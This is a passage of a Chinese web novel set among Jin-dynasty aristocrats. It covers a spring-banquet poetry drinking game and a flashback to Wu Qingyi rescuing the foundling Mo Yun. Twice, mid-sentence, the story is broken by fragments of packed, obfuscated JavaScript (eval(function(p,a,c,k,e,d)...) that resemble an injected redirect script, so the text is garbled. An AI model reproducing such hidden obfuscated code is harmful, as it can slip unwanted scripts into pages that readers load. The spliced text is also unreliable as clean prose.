侍者将杯子送了过来,吴恒接过替李忞之斟上茶,“等着吧,一会儿就曲水流觞了,许久未见,不知文道今日准备喝几杯?” 哧—— 李忞之被气笑,推搡了吴恒一把,打发他一边玩儿去。 7. 曲水流觞 “喝!” “好好好,又是你啊孙雅集,喝吧喝吧。” “你瞧瞧,这手气。” …… 水流弯曲,顺势而下,青溪水悠悠,精致小巧的酒盏被放到水面上,随着水波流向前方,酒盏下悬挂着小小的物件儿,用以保持平衡。 只要酒盏停滞在某一处,或是打转不停,酒盏所在之处的那个人就要喝尽杯中的酒,再当场赋诗一首,若是做不出,就要再罚三杯。 这还不算完,喝完也不能下场,依旧要坐在溪水边,等到曲水流觞结束。 至于何时结束嘛…… 那就要看这一群人何时尽兴了。 深谙众人性情和曲水流觞流程的孙雅集叫苦不迭,这才几轮?他都作了三首了,实在是头脑发胀,恨不得有三头六臂,每个枝干上都长出一张嘴,一颗心来把一切事物都嚼碎,吐出一首诗来。 苦了我了,真是,一群看热闹不嫌事大之人。 风水轮流转,我看谁都逃不掉! “喝,喝,喝,下个人罢下个人。”孙雅集一口气干了三杯,玉露琼浆下肚,整个人都红了一个度,他一边招呼着侍者将酒盏放回溪水,开启下一轮。 一边默默的扯了扯衣襟,散散热气。 身旁不知是谁家的小娘子被他逗笑,似乎在打趣他被罚酒的窘相,孙雅集扯着衣襟的手一顿,又悄无声息的放回,没过一会儿,又摸了摸自己的头发,正了正衣冠。 晋国开放,这群士族之人尤其放荡不羁,自前人创下了曲水流觞,文人雅士们便效仿先贤纵情享乐。 风尚随和,也无人讲究男女不同席的礼。 更有甚者放下了,“礼岂为我辈设也?”这样的话语。 于是乎,今日暮春时节的春日宴,男女老少会聚一堂,随意散坐,不论尊卑,也不讲究男女分席。 礼节与否,在畅意山水间都化为笑谈,不过……坐席上也并非没有剑拔弩张的氛围,虽然男女老幼无区别,但是新旧派的争斗正如火如荼。 旧派中人大多坐在一处,嗯,吴恒是个意外,他大剌剌的赖在李忞之身旁,没什么顾及。 方才二人讨论的正主,莫筠,依旧是沉默的作态,和李忞之同处一处。 莫筠到的时候,李忞之和吴恒早已找到风景绝佳的好位置,他落座之时与吴恒点头示意,算作打招呼。 吴恒微微挑眉,探出半个身子去瞧莫筠。 被他大剌剌打量的人没什么情绪,垂着眼,眼底一片青色,与散漫的李忞之不同,他坐的很板正,比士族大家的公子哥更像公子,较世间有香草美人之称的男子更俊美。 只可惜,此人惯常一幅恹恹之态,眼神又阴郁沉闷,没有什么艳阳天的清朗之风。 如今领了官职,身居中位,身上又带了些许臣子的权威审视之不可言说的沉重,让人有置身阴雨天的晦暗感觉,与身旁清朗的吴恒、李忞之相比,他更像旧庙里被遗弃的雕像,因为世间的风雨,而冒着青苔。 看起来毛毛的。 被他的脸惊艳到的贵女们都不敢与之对视,飞快的瞄上几眼就转头和吴恒搭话去了。 阿常候在一旁,四处乱瞧,原本是想找阿昌的身影,却左看右看的盯着酒盏出了神,酒盏在旋转,酒盏在漂流。 漂——漂——哎?是不是停了。 等等—— 公子! 那个小巧的酒盏漂到李忞之面前的时候,开始急促的旋转,正当李忞之的侍者准备打捞酒杯的时候,那个小杯子一个转弯,停在了莫筠面前。 李忞之默默的转过头去,看向同僚。 吴恒也紧随其后。 阿常眨了眨眼,似乎才醒过神来意识到发生了什么,他接过网子,探过身去将杯子捞过来。 眼看着新派之人拿到了酒杯,旧派之人的眼神如火如炬,既想看莫筠做不出诗,又想看看他的功底。 坐席间,窃窃私语声如蚊蝇般细细密密。 窃笑无声,嘴角难压。 唯有少部分人面色复杂,这些人都是同李吴子弟一同长大的,对莫筠略有耳闻,李吴子弟就更不用说了,看都懒得看,不想卖面子给他,脸上挂着清高的笑,似乎不在乎这样的小事。 吴町没什么表情,她似想起什么般有些刻意的和一旁的吴庆漪搭话,分走了她的眸光。 其实她不说什么,吴庆漪也没有看向莫筠那边,她正盯着溪边的蓝色小花出神,神情正色。 小风悠悠拂过草地,像极了不谙世事的精怪现形。 吴町见小妹没在乎的样子,也就放下心来。 反观身后的阿昌,见自家娘子出神瞧小花,心是一下都松懈不下来,娘子以往最是喜爱曲水流觞,不论是谁作诗,她都会认真的听。 若是写得好,便反复琢磨,学习遣词。 若是写得不妥当,也会记在心中,若是有机会再和人探讨。 这是为贵门所处,士族风范,亦是才子之间对豪情文志的崇敬,少有才女美名的灵岫娘子,一直是坚守此道之人。 如此这般出神望花……实在少见。 且阿昌熟悉庆漪,对娘子的神情看得仔细,她们坐在旧派中,坐席间的窃窃声密密麻麻,甚至有愈演愈烈的趋势,瞧不上的轻蔑声从众人的鼻息间钻出来,探出头来,张牙舞爪。 似乎要在不见光的地方狠狠的赢下来一口气,以振雄风。 如此行径,几乎不加掩饰的暴露在了吴家两位娘子面前,阿昌不着一词,默默的看着吴庆漪的眼神越发的凝滞。 娘子瞧着……是有点不高兴的。 可这,这二人不是割席了吗? 新旧派如今对立,二人不说是桥归桥路归路了,这是对家的问题啊,不撞个头破血流哪能平息。 新派要撬动的是门阀的根基,以极其激进的方式撞出一条血路来,分权,对立,阿昌不懂朝堂之事,这些还都是从外面听来的,吴家内部上下从不讨论新旧党争一事。 气定神闲,似乎笃定了争斗动不到自家主子头上。 在很长一段时间内,许多士族人家都是这样的态度,高高在上,如同藐视蝼蚁一般看着新派之人折腾,甚至时不时的那些事情去搪塞他们,以此取乐,吟诗作赋,吴家这类门阀大家不会做这样令人不齿之事,但京中权贵众矣,免不了形成一股声潮。 很多讲规矩礼俗的大家,哪怕不参与,也呈默许的姿态,这是同出一口气的姿态,难以动摇。 眼看着娘子眼底的一抹笑意湮灭,纤细透白的指节蜷起,轻轻的落在膝头,侍者有些不安的挪了挪脚。 阿昌觉得额头绷得紧,捏着袖子使劲在额头中间擦了擦。 这可如何是好?阿昌咬了咬唇,悄声走到身后的草丛中,扒拉半天,摘下一朵和溪边一般无二的蓝色小花。 “娘子。” 吴庆漪回头,发间被轻柔的别上了一朵蓝色的花。 * 众人翘首以盼,当事人本人倒是不慌不忙。 莫筠接过酒,垂着眼皮倦倦的喝尽,长指骨节分明,捏着小盏向下一点,示意众人酒已空,优越的鼻梁投下恰到好处的阴影,眼角因疲态而显出的细纹在春日光景下并不起眼。 这个外界传有“狼子野心”的阴险狡诈之徒,饮酒的姿态满身清贵,一举一动都透着世家的底蕴和气魄。 无人知晓他这一身气度和仪态是怎么养出来的,李家那段不为人知的日子,君子之身就一寸一寸的“如切如搓”,“如琢如磨”生生炼了出来,等他再出现在人前的时候,已经是挑不出错的贵公子了。 反观李家后代,行为举止散漫的无独有偶,袒胸露乳成日只顾烧香拜佛的也不是没有。 一向看重的礼节,竟是全压在一个“义子”身上,反复提及,反复看重,反复惩戒。 李忞之在莫筠喝酒的功夫,远眺群山,东道主吴量和李公坐在一处,吴决也在其中,郡守和大将军的位置离他们不过两步远,位高权重之人群聚。 吴庆漪来得有些迟,吴町拉着她落座,胞弟吴连黏在阿姊身边此时正腻歪的厉害。 似是心有所感,吴家女的视线遥遥的对了上来。 哪怕离得并不近,吴庆漪秀丽的面容,和含水般的丹凤眼依旧透露着清晰的美的神韵,发丝垂下,随风而飘逸。 她对上李忞之的目光,颔首行礼算作问好,这是他们年幼时养的习惯,这一问好直接把小溪另一边的李忞之拉到了过去的记忆中。 他突然想起来,以往聚会的时候,因为不强调时辰,几乎每次都会有人晚到,一来是他们相熟不讲究琐事,二来是关系好,不是在李家就是在吴家,不差这等人的功夫。 吴庆漪偶有几次晚到都是这般,被姐姐拉着落座,或者和莫筠二人一同姗姗来迟,带着笑意问好。当然,笑脸都是属于吴家姑娘的,她身后跟着的那个人常年倦倦的,嘴角没什么弧度。 作哥哥姐姐的几个人自然不会介意,也笑着行礼,张罗着吃些点心,歇歇脚。 不过这都是莫筠在吴家时候的事了,自他来了李家,便很少和吴庆漪同出同入,以他不似人的性格,根本不会有晚到这样的“差错”发生。 李忞之笑着点头,将目光收了回来,也中断了对往事的追忆。 无论如何,吴家受宠的女儿都不会被波及到,文采斐然的父亲,权势在握的叔父以及有一干随时可以步入朝廷的兄弟,这会为她谋得一个大好的前程。 一般高门女子难逃的联姻,于她而言,应该也是有双向选择的余地。 李忞之在心底叹了口气,觉得自己越发的像老头子起了操劳心,谁曾想呢,他风流肆意的少年生活,还像昨日一般清晰。 另一边莫筠对同僚及兄弟的心事毫不知情,他接下了酒,毫无品鉴美酒之意,便开口道: “肆眺崇阿,寓目高林。 青萝翳岫,青萝翳岫,修竹冠岑。” 莫筠开口,声音带着隐隐约约的沙哑,他并不是清脆爽朗的音线,吐字时果断毫不拖泥带水,音调沉重却悠远,直直的闯入众人的耳朵中。 他顿了一下,好似看不见众人惊诧的目光,继续说道: “谷流清响,条鼓鸣音。 元萼咄润,飞雾成阴。” 青色的藤萝遮蔽了山峦,修长的竹子覆盖了峰顶,山谷中流水发出清响,枝条被风鼓动出鸣声。 有寒门子弟在宴席中做着记录,莫筠作诗之时,他刚拿过新的纸提笔沾墨,出乎意料的是这位新上任的侍郎官,一开口就是文风独特的四言诗。 寒门上嘴唇和下嘴唇抿了又抿,心中感到很畅快,下笔如行云流水,将诗誊抄在纸张上之后,他才为之叹道: “妙啊,妙。” 元萼咄润。 用的真好。 不光是负责誊抄的寒门小弟顿住,其他的士族人家也纷纷噤声,彼此张望,且看到对方诧异的面色。 这小子,还真让他作出来了。 新派之人得意洋洋,旧派之人将其才干归功于李家的培养。 没有李家能有他莫筠吗?嗐,好心将人培养的一身才气,最后竟是养虎成患,倒打一耙,李公何其善也,莫侍郎何其奸也。 狼子野心,不过如此。 …… 与少年人年轻气盛不知轻重不同,坐席上自有人盯着这位新上任的“新派的脸”做文章,栾君盯着莫筠,狭长的眸微缩,眉头一紧,考究的视线寸寸下压。 一双属于武夫的手宽大而厚实,指节有力,隐隐可见得新旧交替的伤疤横亘在皮肤上,他沉着眉,举杯和身旁的李公示意,接着一饮而尽。 抿抿唇,他神情舒展,似乎随着这口香而美的酒下肚,方才沉压在他眉头的事也消散了。 “你们李家竟出了这么一位公子,我来时听说,此子和吴家的孩子也处的很好。” 栾君声音厚重,说话时不怒自威,掌握着军事力量的都督一向对诗词歌赋没有兴趣,他此次前来春日宴,凭的就是一身军功,以及和门阀之人的紧密关系。 李公和吴公神情都是一滞,一旁的吴量虽然对京中事了解不多,却也知道这个“吴家的孩子”就包括了自己的女儿,老脸也是一僵。 吴决闭上眼,连连摆手说道:“孩子的事,我管的不多。” 李公长而圆的脸上纵横着岁月的褶皱,他人年轻时也属于端正君子,久浸官场这么多年,老了一身赫赫官威,唯长眉与长须让他显出几分随和来,他也看向莫筠,少年才气如开刃的利剑一般。 他暗了暗眸光,掩盖了眼底的一抹不为人知的情绪。 “说到此人,倒是我横刀夺爱辜负了吴公了,早年看此子惊才惊艳,便起了栽培之心,特意向玄道讨要了过来,收为义子。” 说到这,他似乎有难言之隐一般顿了顿,又开口道: “事务繁重,到底是我疏忽了。” …… 话头轻飘飘的滑过,滑向京中的歌姬和酒楼,栾君久不回京,先前一直在儋州任职,此番在会稽露面,自然少不了招待和宴请,在几人结束了莫筠之事后,其他士族的当家人也攀谈其中,或奉承,或拉拢。 吴家兄弟二人乐得清闲,换了位置喝酒,吴量的病容在春日的衬托下好像被疗愈了不少,吴决看着兄长的脸,一时心中难过。 无需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“寒门啊。”他叹了口气,有些惋惜。 他不可能将灵岫嫁到寒门中去,不肖说寒门了,就算是一般的士族也想都不要想,他的女儿…… 可惜,若是那少年真的让灵岫特别喜欢,家室稍微差一点也不是大问题,他就这么一个女儿,宁愿她幸福,吴家又不是李家那般看重门第,官场上的事再怎么说,也轮不着女子去使劲。 寒门就差的太多了。 此时的吴量想当然的将吴决的摇头解读成了“差一点”,而不是“别问了”。 不知是谁叹了口气,吴决双肩微耸摇头道:“连寒门都不如,此子是灵岫捡回来的。” 吴量:? * 酒盏之中重新盛满了晶莹酒液,顺流不知去到哪里,楸树的花瓣,或粉紫,或嫩白,随风而落,若群蝶飞舞,楸树生得高大,花长在枝干上,层层叠叠直指穹空。 酒盏打转儿,停在了吴庆漪面前。 阿昌淡定的捞起来,将酒倒进娘子的杯盏中。 吴庆漪仰头,一饮而尽,饮酒时露出的侧脸皎白若凝脂,素手捏着精美的酒盏,一时之间不知是酒盏小巧精致,还是人之娴静风雅更胜一筹。 两鬓秀发随风轻扬,灵岫姑娘无需凝神费劲遣词造句,下一刻,她启唇作诗如流水便顺畅滑过众人的耳畔。 “高枝摇暮景,轻粉落春觞。 不待风相催,自随流水长。 林幽鸟声碎,波静日影凉。 但得花前醉,何须问彭殇。” 若是在会稽之前,吴庆漪作诗还不会贸然的涉足人生长短,她年纪轻在一众长辈和哥哥姐姐的照料下,走的很顺,没经历过太多坎坷。 此次回老宅,见到鬓角灰白的阿大,伤病中行走发虚,饮食不畅,她在床前侍奉,抚摸父亲手心的褶皱。 弟弟圆圆的像鹿一样的眼睛轻眨,有些青涩的唤阿姊。 京中的旧事也闯入她的思绪中,来春日宴的路上,吴庆漪还下意识的在大门那等了一瞬,若不是阿昌询问,她都来不及将自己拉回到今日的时辰当中。 可她在等谁呢? 吴町早就到了,正坐在里面等她呢。 待她入席,小溪前已经落座了许多人,一条看不见的河横亘在众人中间,比溪水的潺潺声还要清晰入耳。 吴庆漪抿抿唇,有些不喜。 不讲尊卑不讲男女有别,快意洒脱于山水间的春日宴席,何时也有了派系之争,寒门攀附贵门,女子依附男子,权贵会聚处更是不堪入目。 她倒是情愿众人服散发癫,袒胸露乳披头散发的跳舞吹箫。 如此做派,哪有平等可言。 于是,吴庆漪喝尽了酒,诵诗时咬着牙满腹不解,但外人看不出她的心事,一直是这样,没人看得懂灵岫姑娘的心事。 她作了诗,阿昌将酒盏重新放回溪水中。 一旁的吴町笑着摇头,无需去看就知道座下又是一片赞叹声,灵岫这也太令人安心了。 听到此诗的吴量也不由得勾起一抹笑,他在病中,方才在春日里养出来的好气色,被自家弟弟的话惊的面色苍白,唇也没太有血色,这一抹笑让他看起来多了几分精神气。吴决看到兄长有兴致,也跟着开怀。 “何须问彭殇。” “阿兄,灵岫之才,实乃家中一幸事啊,年纪轻轻,作诗已然很有深度了。” …… 吴量听着众人的奉承声,面上不显只是谦虚,不多时,曲水流觞继续,他慢悠悠的溜达到自家姑娘身边,幽幽的坐下。 吴町一回头被吓了一跳,向他问好。 老父亲苍着脸摆摆手,将吴庆漪拉到一旁。 耳边别着小花,完全不知道自己父亲在做什么的吴庆漪懵懵的被拉到一边,紧跟着她就听见吴量小声问她: “你什么时候捡了个人回家?” 还瞒我是士族子弟。 吴庆漪这才想起来自己幼年时写的几封家书,因为急着和阿大分享趣事,便肆意书写,每次寄回去的家书都厚厚一沓,为了避免远在会稽的阿大误会,便省略了些许细节。 什么都知道了的吴量沉着脸,下意识的揪着自己的胡子,不远处的吴町不明所以,有些担心的看向她,再远了就是漂游着的酒盏,和新派之人陌生的不熟悉的面孔,还有莫筠…… 此情此景,吴家最是聪明的灵岫娘子,竟是被一句话带的恍了神。 误以为自己还是那个初到京中的小姑娘,于大雪天捡了个如同弃犬一般的人回家。 8. 脉搏 吴庆漪将人捡回家的时候,想法很简单,带着小孩儿的直白和稚嫩,没有考虑什么地位,尊卑,也没有顾及自己初来京中,这么做合不合京中的规矩。 这有个灯笼。 好漂亮,怎么做的? 这有个人。 好漂亮,怎么…… 怎么快死了? 她还记得吴町当时问她:“你想要带他回府吗?我们可以给他点吃食。” 贵女仪态大方,一身衣袍用的是上好的料子,袖口绣着金银线缝制的荷花纹,颈上带着琉璃串饰,她看向这个会稽来的妹妹的时候,眼里很关切,但是轻轻皱着眉,有些不解的样子。 但是即便自己再不理解,吴町的话语依旧温柔。 对于门阀家的小娘子来说,这都不是问题,只要吴庆漪喜欢。 然后,吴町在小妹妹灵动的凤眸中,一寸一寸软了心腔,她笑着把吴庆漪拉起来,大有掷千金只为哄她一笑的架势说道:“那就带回去。” 茫茫大雪里,唯少年一点乌色,他在繁华的门庭前太过突兀,倒在祥和的氛围中太过扎眼,小庆漪半好奇半不忍的将人救起。 牛车在雪中走出一道车辙,几个人的身影消失在门庭之中。 就这样,人被吴庆漪捡了回去。 * 阿大曾告诫自己,立德、立功、立言。 当时家中只有她一个女儿,吴庆漪的德行是按照继承人的培养方式去培养的,吴量不从政,教她继承的,自然是文人的衣襟。 从容不迫的应对强权,随遇而安的看待本心。 吴庆漪不觉有什么问题。 是以,当她发现这个捡回来的弃子浑身野性但非草莽之人的时候,小贵女就起了培养他的心思。 人都捡回来了,弃之不理不是君子所为。 再加上……不知为何,她看着那个少年,总觉得在他身上看到了另一个人的影子,但她尚年幼,看不真切。 * 京中的一切都和会稽不同。 乌衣巷的草木都被一枝一叶的规划了位置,谁家的权势更强些,谁家门前的风景就更好些,枝叶繁茂,若是结了果,便沉甸甸的坠下去。 吴家在京中是不少人家攀附的对象,寄来家中的帖子数不胜数,若是有有趣儿的,吴町便拉着小庆漪一道前去。 吴恒更是广结善缘,不怎么推拒帖子。 且公子哥玩儿的太花,一掷千金,闹哄哄的只差把京中掀翻了。 吴庆漪看到的越多,便越不喜这样的宴席。 附庸风雅。 她更喜欢去山间吹吹风,听听山涧的水声。 吴町和吴恒各种聚会太多,她无意那样的热闹,也不想拦着哥哥姐姐去寻乐子,但她年纪尚幼,又不熟悉京中,家里不放心她孤身一人。 于是吴庆漪便跟着哥哥姐姐出门,再偷偷拉着莫筠逃走。 那个冷俊的少年只默默的跟着她,不怎么说话,也不怎么惹她生气,吴庆漪若是喊他对对子,他便接她的对子,若是喊他对打舞剑,他便拾了树枝陪她走几招。 见他忠心,府上也逐渐提高了对莫筠的待遇。 只要他照顾好娘子,若是能哄她开心,那是再好不过了。 雪中垂死的那个少年开始脱胎换骨,因食不果腹而过分消瘦的身体逐渐健壮,他随吴家子弟一同习武,因吴庆漪的垂爱而身份高人一等,衣食起居都是与旁人不同的规格。 不过一年光景,那个浑身野性像饿犬一般的弃子,就蹿个儿长成了清劲的少年。 吴町见他变化极大,还打趣过几句。 人是生得一副好皮囊,只可惜阴郁沉闷了些。 * 吴庆漪不喜京中士族作风,她亲眼见到一个士族子弟在她面前卖弄,遣词造句乱七八糟还觉得自己很风骚。 有病。 但只有她一人不喜一般,那个卖弄的公子哥很快就进入了官场。 官居六品,五品,四品。 后来她又见了那个卖弄公子哥一次,那人甚至大言不惭的说要求娶她,待自己坐稳了位置,就随家中上门议亲。 有病。 她不懂为什么二流子弟这么自信,那人甚至不如莫筠,可以接上自己的对子。 有些气愤的小庆漪托着腮,手指缠绕着发丝,她嘟囔着把这些糟糕事说给阿姊,那时的吴町马上就要议亲,和李家。 待字闺中的阿姊好似没什么变化,只是多了层未落下的身份,吴庆漪没有在意什么,进了屋就坐在吴町身旁,倒豆子一样不吐不快。 吴町听了眉头一皱,一拍桌子就将那人臭骂一通。 小庆漪跟着点头,手上动作没停。 正当她肚子里的那点儿气咕噜噜的要消失的时候,小庆漪听到吴町愠声道:“哪门哪户的小官,也敢大放厥词。” 小庆漪摇头表示不理解,她顿了顿,补充一句:“和门第无所谓,半分才气也无。” 吴町将桌上的糕点推到她的跟前,哄她不要生气,小妹话里的意思吴町没有当真。 门第怎会无所谓。 “门阀家中养不出这样的人,小妹宽心就好。” 吴家女也只会和门阀姻亲,如今李吴之治,吴庆漪的亲事也有极大可能落在李家,不过八字没一撇的事,吴町没有说出口。 吴庆漪咬了一口花生糕,待口中糕点划开后饮茶,品了品觉得差点意思,她扭头看向阿昌,点了点茶壶。 阿昌应声,转身出去喊人煮茶去了。 屋外侍奉的人站在树下,阿昌带了话,正准备回去,就见她喊停了不远处身量颇高的人,让他再拿些点心。 然后她又不放心,自己跟着一道去了。 吴町笑她挑嘴儿,抚了抚鬓发随口说道:“你我二人既是吴家子弟,订亲自然马虎不得,阿大会替你好生择一择的。” 窗外的风穿堂而过,这样的话头无端的教人鼻间发闷,吴庆漪有点不喜欢,她扭了扭身子,坐直了想避开这个话题。 稍长她几岁的吴町容貌艳丽,五官藏娇,一身衣裳颜色灵动,她腰间配着玉,身上带着暮夏时节的气息。 开的早儿的最浓丽惊艳的花朵谢去,化为草木的养分,与泥土糜烂在一处,散发着最后的香,天气尚暖,诗人的惋夏之作带来第一股萧瑟的秋意。 暮夏的气息大抵就是这样了。 未闻先至的,文人骚客心中的第一缕秋风,要快天地小半个月。 这分隐晦缥缈不曾落地的秋风,吹进了吴庆漪的胸腔之中。 少有才女之名的灵岫娘子得天独厚的敏性,让她将这缕秋风摘了出来,一遍一遍的反复嗅闻。 越闻越不喜,越嗅越不安。 吴庆漪不知道的是,不安的不是她,而是吴町。 窗棱泄入几道光,窗纱在风中舞动。 吴町的话飘了出来,她说:“女子的德行,就是这样了。” 吴庆漪僵住。 随着这句话消散在居所房梁之下,吴庆漪肺腑间充斥着苍凉的寒意,冻住了她犹如小树一般想要伸展出去的枝桠,她含水秋波的丹凤眼惊诧的眨了一下,瞳孔细密密的收缩,像受惊的狸。 这怎么会是女子的德行。 抬高端着茶盏的手失力一般的将盏放回桌上,茶盏和桌面相碰发出清脆的响,垂下的手腕,银环和玉镯子相撞。 叮当,叮铃铃。 居所的门口暗了一瞬,一道硕长消瘦的身影走了进来,携风而入,好似驱赶走了一瞬屋内的窒息感,他冷着面没什么表情,周身气息却是乖顺的,唯一双眼时常垂着露出些许恹恹的情绪。 长睫覆下来,阴影掩盖了些许赤裸的眼白,让他看起来不至于太过阴鸷。 跨过了门槛,少年背过的面容阴下去,气息却是一瞬间的朗润起来,像是刻意的舒展了情绪,又像是抵达了能令他松懈的人身边。 莫筠端着茶,正要放到桌上再推到屋外,等阿昌进来侍奉,他阔步走的前,阿昌手上端着点心落后他几步。 侍者想必嘴里还正念叨着,娘子爱吃这个,我顺手带过去。 谁知,他不经意的掀起眼皮,抬眼瞧了一瞬桌前坐着的人,就见,那个一向平和在阿姊身旁有些懒洋洋的贵女绷着弦,像是被惊到了一般,发丝垂在她的颊侧。 她孤立无援,唯一能托住她的人正在出神远眺。 几乎是在来人跨入屋内的一瞬间,吴庆漪就望了过去。 莫筠习惯了察言观色,深得他信赖的洞察人性的神思,就这样看到她眼底的茫然和茫然掀起的潮声,一场无声无息的雪簌簌落下。 少年身形一僵。 桌子上有泼出来的水迹,和小半盏茶。 吴町正托着腮发呆,不知道随口丢下的话带给身旁之人怎样的撼动。 冷着脸的少年指尖轻颤,心空了一瞬,他突兀的想着,这样的眼神,不该出现在门阀之女的眼中。 这个纯善,养尊处优的贵女。 怎么会在最契合她的家中,感到茫然无所适从呢? “娘子。”他俯身,态度更为恭顺,修长的手指拿走了她的茶盏,接着,又徐徐斟上了她爱喝的茶。 见她人还有几分怔愣,莫筠压了压眉,动作很轻的将茶盏往她跟前推了推“喝茶吧”,吴庆漪看向他,抿了抿唇,莫筠弯着腰,微微歪头,清俊的侧脸如玉一般,他嗓音刻意放柔道:“我放了糖,是你喜欢的。” * 立德、立功、立言。 吴庆漪从未想到,到了京中,连这些她一直坚守的东西都变得扭曲了。 女子的德行,功业,言行。 等同于,嫁人的德行,嫁人的功业,嫁人的言行。 士族子女,一言一行皆从属于家族。 她一直不齿旁人卖弄,谁知到头来附庸风雅的另有其人。 吴庆漪越发不愿出门,不愿和旁人打交道,吴町订亲前后数月,家中门庭若市,来往人众矣。 她自己躲起来,乐得清闲。 看看山,趟趟水,寄希望于游山玩水可以让她忘却琐事,忘记阿姊泄露出的暮夏之意。 但吴庆漪很快发现,一切事物都因此颠倒了。 她开始坐在草地上发呆,盯着落日一寸一寸隐入山间,风吹过她的发梢,吹去白日的热气,吹拂在她的芙蓉面上,带来清透的凉意。 身旁蹲下来一道身影,静静的未着一词。 吴庆漪扭头看他,不知道他有什么事。 那人沉默了很久,半晌,就着蹲下的姿势伸出手,轻轻的抹去了她眼角的泪。 吴庆漪这才意识到,吹到脸上的风为何总感觉凉凉的,因为她早已满脸的泪,不知流了多久。 “我宁愿化作蝶。”她的声音并不沙哑,语气也不悲伤。 莫筠垂着眼,捻了捻指尖,女子的眼泪被他在指肚上揉开,湿漉漉的,让他的手指看上去盈润很多。 “我送你回去。” 他起身退开,站在她身后,女子消瘦的身影拢在衣袍之内,随风舞动,宽阔的袖子当真有几分像蝶一般,在空中舞动,衣带翻飞,衣袂猎猎作响。 莫筠什么都没说,因为他什么都不是。 他除了在无人的地方擦去她的眼泪,什么都做不了。 自嘲一笑,莫筠暗讽自己颅内有疾,吴家的贵女用得着他做什么吗?他把命都给她,也不过是一个弃子的命,毫无价值,和一条流落街头的犬有什么区别。 少年压平了嘴角,绷得像笔直的线,他眸色漆黑,眼中唯那道身影在落日之畔发着光,侧过头,莫筠看向地上的碎石和泥泞的地。 土地被割开,石子暴露出来长满了青苔,上面是郁郁葱葱的树冠,只有些许日光可以从缝隙中倾泻下来,但眼下太阳落山,地上只是黑漆漆的一片。 无人在意,毫无价值。 若不是这位贵门的娘子喜欢这里的风景,这点残存的泥泞也不会落到他的眼中,更遑论被她的鞋履踏在脚下。 天暗下去,有些寒意涨上来。 不知是谁叹了口气,消匿在空中。 莫筠复上前,伸出手将地上的人捞起来,接着松开提捞她的动作,退回身后,只是凉凉的说了句:“娘子,该回府了。” * 待吴家众人忙完议亲之事,发觉小妹心情不畅,饮食不善的时候,吴庆漪已经削瘦了一圈了。 哥哥姐姐都心急的不行,吴町更是拉着她住在自己的院子里,一日三餐盯着她吃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她所看重的,引以为傲的才情与德行,好像并没有和山水共鸣,而是被丢尽了乌衣巷的浑水之中,她越是出众,水越是浑浊。 什么都做不到,什么都无所谓。 院中景致错落,她的视线落在长亭的边缘,又穿过斗拱雕花落在若隐若现的院墙上,街道外的树枝伸进来,上面结着黄澄澄的果子。 身后传来脚步声,吴庆漪懒得回头,不知道又是哪个哥哥过来关切。 但身后之人的步子停在不近不远的地方,再也没有前进一步,也没说什么话来恼她。 女子垂着发托着腮,丹凤眼眨了眨露出了些许情绪,她哑声道:“怎么不过来。” 那人这才动身,提步入了长亭。 吴庆漪抬眼瞧他,揉了揉眼睛有些许不自然,莫筠的目光落在她的脸上,女子眼角的红润像是刻意揉出来的,但脸上的泪痕犹在,让人轻易看出她方才哭过。 “挡着我的光了。” 她伸手将他往边上扒拉了扒拉,也将他背光隐在暗中的神情扒拉了出来。 富有才女之名的娘子再具敏性,也瞧不透摸爬滚打浑身泥泞的少年之心中所想,她只觉得他越发恣睢,和初见时不太一样了。 那道硕长的身影顺着她的力蹲了下来,吴庆漪疑惑的瞧他。 她眼底的苍茫未收,仍像覆了层雪一样。 少年身量长,哪怕蹲下也较吴庆漪矮不了多少,他微垂着头,露出脖颈和一小片肩,清瘦的手腕被他递上前去。 透过薄薄的一层皮肤,是青色的脉搏在跳动,近在吴庆漪的眼前,她已经懵了,不知道这个人顶着一张锐利的皮相,在做什么。 阴差阳错的,她对上他淡然又带着些许执拗的目光,试探的,一寸一寸将自己莹白的指节落在他的脉搏上。 怦、怦、怦。 这个由她捡回来的,一身反骨戒备的弃子,像狼崽子一样的少年,就这样放任自己的脉搏在她的指尖震颤。 她突然觉得这人从来不是什么狼崽子。 吴庆漪觉得,他比起失控暴虐的狼,更具……犬性。 女子的指尖带着一股凉意,莫筠的手腕是热的,被她覆上来时仿佛因为不安想要强行违背主人的意愿收回怀中。 莫筠沉着眉,压着这股冲动,让脉搏乖顺的在她手中跳动着。 这种莫名被驯服的感觉并不好受,他觉得自己是疯了才会今日跑来她跟前做出这种事。 真是疯了。 他听见自己齿间交错的声音。 “做人没什么不好。” 吴庆漪诧异抬头,漂亮的丹凤眼疑惑的看向他,纤长的眉微微蹙起,带着一股雾气和属于她的年纪的应有的天真。 这抹天真,他已经许久未见到了。 吴家娘子愁眉不展了几日,他就看着愁容看了几日。 真是难得。 这就哄得你回到从前了吗? 莫筠在心中嗤笑,不知道是在笑谁。 “娘子摸到了吗?” “我的命。” 你捡回来的,和蝶振翅一般无二的脉搏的震颤,本应死在雪里烂在泥里的命。 因为你,才能继续活着的命。 * 吴庆漪郁结之症已解,全府上下都像过节了一般,阿昌和阿常高兴的不得了,每日上茶的时候都乐呵呵的,生怕别人不知道自己高兴。 吴恒默默的收回了自己的墨宝。 吴町叉着腰,松口吴庆漪搬回自己的住处。 莫筠开始为门客做事。 一切好像变了又好像没变,莫筠被调到门客那处,依旧时常到吴庆漪跟前侍奉,吴町和吴恒看到了还打趣了几句。 按常理来说,门生的地位要比侍者强不少,能在门客手下做事都巴不得连住所也搬过去。 但莫筠不是,他依旧和阿常住在一起,不忙的时候在吴庆漪院中做事。 好像完全不在意自己能爬多高。 不在意权势,不在意地位,能有书读就读书,若是番休便和阿常他们一同玩一玩,或随吴庆漪去游山。 吴庆漪一直是这么觉得的,在很长一段时间里。 * 酒盏打转儿,吴町作诗。 “阿大忘了吗,我刚到京中的时候救了个人,后来有自己的造化就离开了。怎么突然问这个?” 吴庆漪状似无意的向旁边眨眨眼,接着有些疑惑的看向自己的父亲。 吴量还在皱着眉头,显然不觉得有这么简单。 “人怎么样?” 吴庆漪听到这句话,抚平了眉,“阿大。” “乱花迷人眼,不必再问了。” 9. 温文尔雅不如扒皮 